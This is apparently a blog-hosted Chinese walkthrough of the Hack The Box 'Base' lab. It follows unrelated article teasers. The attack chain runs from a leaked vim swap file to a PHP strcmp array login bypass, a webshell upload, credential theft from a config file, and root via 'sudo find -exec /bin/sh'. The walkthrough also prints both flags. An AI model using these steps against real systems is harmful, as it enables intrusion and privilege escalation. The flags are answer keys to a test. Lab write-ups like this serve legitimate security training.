HTB:Base[WriteUP]

目录

连接至HTB服务器并启动靶机

1.Which two TCP ports are open on the remote host?

2.What is the relative path on the webserver for the login page?

3.How many files are present in the '/login' directory?

4.What is the file extension of a swap file?

5.Which PHP function is being used in the backend code to compare the user submitted username and password to the valid username and password?

6.In which directory are the uploaded files stored?

使用Yakit对登录页面进行抓包

7.Which user exists on the remote host with a home directory?

8.What is the password for the user present on the system?

9.What is the full path to the command that the user john can run as user root on the remote host?

尝试使用john账户以及密码对靶机进行SSH服务登录

10.What action can the find command use to execute commands?

Submit user flag

​编辑USER_FLAG:f54846c258f3b4612f78a819573d158e

Submit root flag

ROOT_FLAG:51709519ea18ab37dd6fc58096bea949


连接至HTB服务器并启动靶机

靶机IP:10.129.2.131

分配IP:10.10.16.12


1.Which two TCP ports are open on the remote host?

使用fscan对靶机进行端口扫描:

fscan -nopoc -nobr -no -h {TARGET_IP}

由fscan扫描结果可见,靶机开启了:22,80 共2个端口


2.What is the relative path on the webserver for the login page?

使用浏览器访问靶机URL,可在左上角看到Login按钮:

点击进入后,即可获得登录页面在服务器上的相对地址:/login/login.php


3.How many files are present in the '/login' directory?

直接使用浏览器访问/login目录:

可见该目录下有文件:config.php、login.php、login.php.swp,共3个文件


4.What is the file extension of a swap file?

在/login目录下,存在一个交换文件:

交换文件的后缀为:.swp


5.Which PHP function is being used in the backend code to compare the user submitted username and password to the valid username and password?

点击login.php.swp即可将该文件下载到本地,使用strings按格式查看该文件内容:

strings login.php.swp

b0VIM 8.0
root
base
/var/www/html/login/login.php
3210
#"!
                  <input type="text" name="username" class="form-control" style="max-width: 30%;" id="username" placeholder="Your Username" required>
                <div class="form-group">
              <div class="row" align="center">
            <form id="login-form" action="" method="POST" role="form" style="background-color:#f8fbfe">
          <div class="col-lg-12 mt-5 mt-lg-0">
        <div class="row mt-2">
        </div>
          <p>Use the form below to log into your account.</p>
          <h2>Login</h2>
        <div class="section-title mt-5" >
      <div class="container" data-aos="fade-up">
    <section id="login" class="contact section-bg" style="padding: 160px 0">
    <!-- ======= Login Section ======= -->
  </header><!-- End Header -->
    </div>
      </nav><!-- .navbar -->
        <i class="bi bi-list mobile-nav-toggle"></i>
        </ul>
          <li><a class="nav-link scrollto action" href="/login.php">Login</a></li>
          <li><a class="nav-link scrollto" href="/#contact">Contact</a></li>
          <li><a class="nav-link scrollto" href="/#pricing">Pricing</a></li>
          <li><a class="nav-link scrollto" href="/#team">Team</a></li>
          <li><a class="nav-link scrollto" href="/#services">Services</a></li>
          <li><a class="nav-link scrollto" href="/#about">About</a></li>
          <li><a class="nav-link scrollto" href="/#hero">Home</a></li>
        <ul>
      <nav id="navbar" class="navbar">
      <!-- <a href="index.html" class="logo"><img src="../assets/img/logo.png" alt="" class="img-fluid"></a>-->
      <!-- Uncomment below if you prefer to use an image logo -->
      <h1 class="logo"><a href="index.html">BASE</a></h1>
    <div class="container d-flex align-items-center justify-content-between">
  <header id="header" class="fixed-top">
  <!-- ======= Header ======= -->
<body>
</head>
  <link href="../assets/css/style.css" rel="stylesheet">
  <!-- Template Main CSS File -->
  <link href="../assets/vendor/swiper/swiper-bundle.min.css" rel="stylesheet">
  <link href="../assets/vendor/remixicon/remixicon.css" rel="stylesheet">
  <link href="../assets/vendor/glightbox/css/glightbox.min.css" rel="stylesheet">
  <link href="../assets/vendor/boxicons/css/boxicons.min.css" rel="stylesheet">
  <link href="../assets/vendor/bootstrap-icons/bootstrap-icons.css" rel="stylesheet">
  <link href="../assets/vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet">
  <link href="../assets/vendor/aos/aos.css" rel="stylesheet">
  <!-- Vendor CSS Files -->
  <link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i|Raleway:300,300i,400,400i,500,500i,600,600i,700,700i|Poppins:300,300i,400,400i,500,500i,600,600i,700,700i" rel="stylesheet">
  <!-- Google Fonts -->
  <link href="../assets/img/apple-touch-icon.png" rel="apple-touch-icon">
  <link href="../assets/img/favicon.png" rel="icon">
  <!-- Favicons -->
  <meta content="" name="keywords">
  <meta content="" name="description">
  <title>Welcome to Base</title>
  <meta content="width=device-width, initial-scale=1.0" name="viewport">
  <meta charset="utf-8">
<head>
<html lang="en">
<!DOCTYPE html>
    }
        print("<script>alert('Wrong Username or Password')</script>");
    } else {
        }
            print("<script>alert('Wrong Username or Password')</script>");
        } else {
            header("Location: /upload.php");
            $_SESSION['user_id'] = 1;
        if (strcmp($password, $_POST['password']) == 0) {
    if (strcmp($username, $_POST['username']) == 0) {
    require('config.php');
if (!empty($_POST['username']) && !empty($_POST['password'])) {
session_start();
<?php
</html>
</body>
  <script src="../assets/js/main.js"></script>

在代码的末尾部分,可见login.php使用的是strcmp()函数对字符串进行比较:


6.In which directory are the uploaded files stored?

通过代码审计,可以看到在账户、密码对比处:

使用的是简单的strcmp()函数进行对比,而且在结尾的判断等于用的是双等号而非三等号

那只需要在POST提交时将username、password这两个变量改成数组形式即可绕过验证

使用Yakit对登录页面进行抓包

修改请求包中的数据:

点击提交数据后,浏览器处就进入了文件上传页面:

对靶机进行目录扫描,查找文件上传后所在的目录:

gobuster dir --url http://{TARGET_IP}/ --wordlist big.txt

尝试访问/_uploaded目录,可以正常访问:

制作一个php文件上传,测试该路径是否为真实文件上传路径

<?php phpinfo(); ?>

将文件命名为test.php后,上传后点击刷新,文件已经出现在了目录中:

对test.php文件进行直接访问,发现文件可以被成功解析:


7.Which user exists on the remote host with a home directory?

使用哥斯拉生成一个Webshell:

将shell.php文件进行上传:

使用哥斯拉对shell.php进行连接:

进入哥斯拉的命令执行模块,查看/etc/passwd文件内容:

cat /etc/passwd

再查看目录权限:

ls -ld /home/john

可以看到john用户拥有主目录权限


8.What is the password for the user present on the system?

再查看config.php文件内容:

cat /var/www/html/login/config.php

账户:admin

密码:thisisagoodpassword


9.What is the full path to the command that the user john can run as user root on the remote host?

虽然上面config.php文件中显示的账户密码对应的是admin用户

但是考虑到主目录权限用户是john,所以这里的admin很可能和john是同一个人

尝试使用john账户以及密码对靶机进行SSH服务登录

ssh john@{TARGET_IP}

查看john用户可以使用sudo执行的命令:

sudo -l

通过结果可知,find命令允许我们sudo执行(root身份),完整路径:/usr/bin/find


10.What action can the find command use to execute commands?

推荐一个网站,这里可以找到二进制命令突破环境限制getshell的命令

网站地址:https://gtfobins.github.io

find命令可以使用exec来执行操作命令:

sudo find . -exec /bin/sh \; -quit

Submit user flag

通过john用户权限查找一下user.txt文件:

find / -name 'user.txt' 2>/dev/null

查看user.txt文件内容:

cat /home/john/user.txt

USER_FLAG:f54846c258f3b4612f78a819573d158e


Submit root flag

通过sudo执行find命令获取root权限:

sudo find . -exec /bin/sh \; -quit

查找一下root.txt文件位置:

find / -name 'root.txt' 2>/dev/null

查看root.txt文件内容:

cat /root/root.txt

ROOT_FLAG:51709519ea18ab37dd6fc58096bea949

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/889193.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

springboot如何集成mybatis?

背景&#xff1a;以前一直是直接cv一个项目中现成的xml文件&#xff0c;然后再去自己配置mapper等数据。自己准备做一个单独的例子试一下。 步骤1&#xff1a;在pom.xml文件中插入mybatis-generator插件&#xff0c;这里选的版本是1.3.2&#xff0c;然后指定的generator文件是在…

IDM6.42下载器!下载速度就像坐上了火箭,嗖嗖的快到飞起!

亲爱的朋友们&#xff0c;今天我要给大家安利一款下载神器——Internet Download Manager 6.42&#xff08;简称IDM&#xff09;&#xff01;这款软件简直就是下载界的“速度与激情”&#xff0c;用了它之后&#xff0c;你会发现下载速度就像坐上了火箭&#xff0c;嗖嗖的快到飞…

Python 如何使用 SQLAlchemy 进行复杂查询

Python 如何使用 SQLAlchemy 进行复杂查询 一、引言 SQLAlchemy 是 Python 生态系统中非常流行的数据库处理库&#xff0c;它提供了一种高效、简洁的方式与数据库进行交互。SQLAlchemy 是一个功能强大的数据库工具&#xff0c;支持结构化查询语言&#xff08;SQL&#xff09;…

Windows 通过 Docker 安装 GitLab

1. 安装 Docker Desktop 下载网站&#xff1a;Windows | Docker Docs 2. 拉取 GitLab Docker 镜像 打开 PowerShell 或 命令提示符&#xff0c;拉取 GitLab 镜像&#xff1a; docker pull gitlab/gitlab-ee:latest或则使用社区版&#xff1a; docker pull gitlab/gitlab-ce…

【C++】STL——stack和queue

目录 前言容器配接器&#xff08;适配器&#xff09;stack的使用stack的模拟实现queue的使用queue的模拟实现双端队列&#xff08;deque&#xff09; 前言 前面我们已经学习了STL容器中的string、vector还有list。 【C】string的模拟实现 【C】STL——vector的模拟实现 【C】S…

CTF-PWN方向 栈溢出等基础知识笔记(2)

ret2syscall 要求有0x80这种系统调用存在 &#xff08;0x0A是回车的意思&#xff09; 案例 通过file查看这个文件 发现是静态编译的文件 所以很多库函数都被编译进去了 但是不存在bin/sh字符串 不存在system和backdoor函数 系统调用需要用到的寄存器 通过ROPgadget工具来查找…

传统图像处理Opencv分割不同颜色的夹子

任务要求&#x1f349; 1. 计算图像中夹子的总数。 2. 分别计算不同颜色夹子的个数。 3. 使用以下方法适应三张图片&#xff0c;并在每张图像上显示结果&#xff1a; - 阈值方法 - HSV颜色空间 - 连通域分析 - 形态学图像处理 - Canny边缘检测 4. 在结果中显示计…

《数据密集型应用系统设计》笔记——第二部分 分布式数据系统(ch5-9)

第5章 数据复制 目的&#xff1a; 地理位置更近&#xff0c;降低延迟故障冗余提高读吞吐量 主节点与从节点&#xff08;主从复制&#xff09; 主从复制&#xff1a; 写请求发送给主节点&#xff0c;主节点将新数据写入本地存储&#xff1b;主节点将数据更改作为复制的日志发送…

使用java做一个微信机器人

微信机器人这个功能&#xff0c;目前在市面上运用的还是不是很多&#xff0c;每个人实现机器人的目的也不一样&#xff0c;有的为了自动加好友;有的为了自动拉群:也有的为了机器人对话聊天等等一系列。想必大家对微信机器人感兴趣的伙伴&#xff0c;但是大多数走到一半遇到各种…

Android Jetpack Compose中UI刷新的几种方式

Android Jetpack Compose中UI刷新的几种方式 在 Jetpack Compose 中,如果你想强制刷新 UI,可以使用 remember 和 mutableStateOf 来创建一个可观察的状态。当这个状态变化时,Compose 会自动重组 UI。以下是一些常见的方法来实现这一点: 1. 使用 mutableStateOf 你可以使…

[SQL] 安装

一 Windows 1.1 下载 进入Mysql的官方网站,点击下载->找到社区版本 选择对应操作系统进行下载。 点击下载 选择直接下载即可 1.2 安装 选择Full安装&#xff1a; MySQL服务器、客户端程序和其他附加工具如果只需要服务端那就选择Server only即可 点击执行,等待组件下载完…

【Unity踩坑】UWP项目安装包认证失败

问题&#xff1a;在Unity导出的VS项目&#xff0c;打包生成appx后&#xff0c;进行应用认证时失败。提示部分API不支持。 API __C_specific_handler in kernel32.dll is not supported for this application type. UnityPlayer.dll calls this API.API DXGIGetDebugInterface1 …

Windows 搭建 Gitea

一、准备工作 1. 安装 Git&#xff1a;Gitea 依赖 Git 进行代码管理&#xff0c;所以首先需要确保系统中安装了 Git。 下载地址&#xff1a;https://git-scm.com/downloads/win 2. 安装数据库&#xff08;可选&#xff09; 默认情况下&#xff0c;Gitea 使用 SQLite 作为内…

k8s部署学习

8s的架构 一个kubernetes集群主要是由控制节点(master)、工作节点(node)构成&#xff0c;每个节点上都会安装不同的组件 1 master&#xff1a;集群的控制平面&#xff0c;负责集群的决策 ApiServer : 资源操作的唯一入口&#xff0c;接收用户输入的命令&#xff0c;提供认证、…

【每天学点AI】大模型如何做情感分类?BERT是如何做情感分类的?

BERT是如何做情感分类的呢&#xff1f;今天&#xff0c;让我们一起揭开BERT模型的神秘面纱&#xff0c;看看它是如何巧妙地进行情感分类的&#xff01; BERT&#xff0c;作为一个双向编码器模型&#xff0c;它的独特之处在于能够全面吸收一段文本或句子的精髓。 通过tokenizer…

五款专业三维数据处理工具:GISBox、Cesiumlab、OSGBLab、灵易智模、倾斜伴侣深度解析

随着三维数据处理技术的广泛应用&#xff0c;尤其是在城市规划、地理信息系统&#xff08;GIS&#xff09;、工程监测等领域&#xff0c;处理倾斜摄影、三维建模以及大规模数据管理的需求日益增加。以下是五款我精心挑选的倾斜摄影和三维数据处理工具——GISBox、Cesiumlab、OS…

Kubernetes(K8s)的简介

一、Kubernetes的简介 1 应用部署方式演变 在部署应用程序的方式上&#xff0c;主要经历了三个阶段&#xff1a; 传统部署&#xff1a;互联网早期&#xff0c;会直接将应用程序部署在物理机上 优点&#xff1a;简单&#xff0c;不需要其它技术的参与 缺点&#xff1a;不能为应…

C语言预处理详解(下)(31)

文章目录 前言一、命令行定义二、条件编译三、文件包含头文件被包含的方式嵌套文件包含 总结 前言 再介绍几点吧&#xff01; 一、命令行定义 许多C 的编译器提供了一种能力&#xff0c;允许在命令行中定义符号。用于启动编译过程 当我们根据同一个源文件要编译出不同的一个程序…

太速科技-607-基于FMC的12收和12发的光纤子卡

基于FMC的12收和12发的光纤子卡 一、板卡概述 本卡是一个FPGA夹层卡&#xff08;FMC&#xff09;模块&#xff0c;可提供高达2个CXP模块接口&#xff0c;提供12路收&#xff0c;12路发的光纤通道。每个通道支持10Gbps,通过Aurora协议&#xff0c;可以组成X4&#xff0…

中间件介绍

可以把中间件想象成是在应用和系统之间搭建的一座桥梁&#xff0c;或者说是一个“翻译官”和“中转站”。它处在操作系统、网络和数据库之上&#xff0c;应用软件的下层&#xff0c;负责实现应用软件之间的互联互通&#xff0c;使得应用软件能够更方便、高效地进行数据交换和通…